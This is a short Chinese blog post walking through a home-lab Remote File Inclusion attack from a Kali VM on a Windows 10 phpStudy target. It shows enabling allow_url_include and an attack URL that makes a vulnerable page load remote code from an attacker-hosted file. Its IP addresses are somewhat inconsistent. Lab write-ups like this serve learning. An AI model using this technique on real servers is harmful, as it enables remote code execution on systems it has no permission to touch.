REI——远程文件包含

Le_ee 博客等级 码龄1年 Lv2

REI——Remote File Inclusion

本次实验用到两台虚拟机——kali和win10

漏洞本质:攻击者通过包含恶意远程文件,在目标服务器上执行任意代码

攻击效果:远程代码执行,提权,敏感数据

分析一下环境:

kali192.168.145.128攻击机win10192.168.36.128靶机

先ping一下网络连通性

通了,下一步我们实施远程文件包含攻击

首先在kali上启动web服务,并且准备一下我们的攻击文件

1
2
3
4
5
#打开apache
sudo systemctl start apache2

#创建需要的文件
sudo nano /var/www/html/gj.txt

ctrl-x→Y→Enter保存,我们再查看一下,保存成功可访问

在里面写入所需的php代码,然后ctrl-x→y→Enter保存,再用curl查看一下是否能成功访问

Win10:

启动phpstudy_pro里面的apache

并且确保win10中php.in配置中的参数为

allow_url_include=On,allow_url_fopen=On,使得win10中pphp安全配置允许远程文件包含

然后实施RFI攻击

在kali的浏览器里面访问

http://192.168.145.128/vuln.php?page=http://192.168.145.131/gj.txt

执行成功

  • Title: REI——远程文件包含
  • Author: Le_ee 博客等级 码龄1年
  • Created at : 2025-10-29 00:13:13
  • Updated at : 2025-10-29 08:46:27
  • Link: https://leei.site/2025/10/29/REI——远程文件包含/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
REI——远程文件包含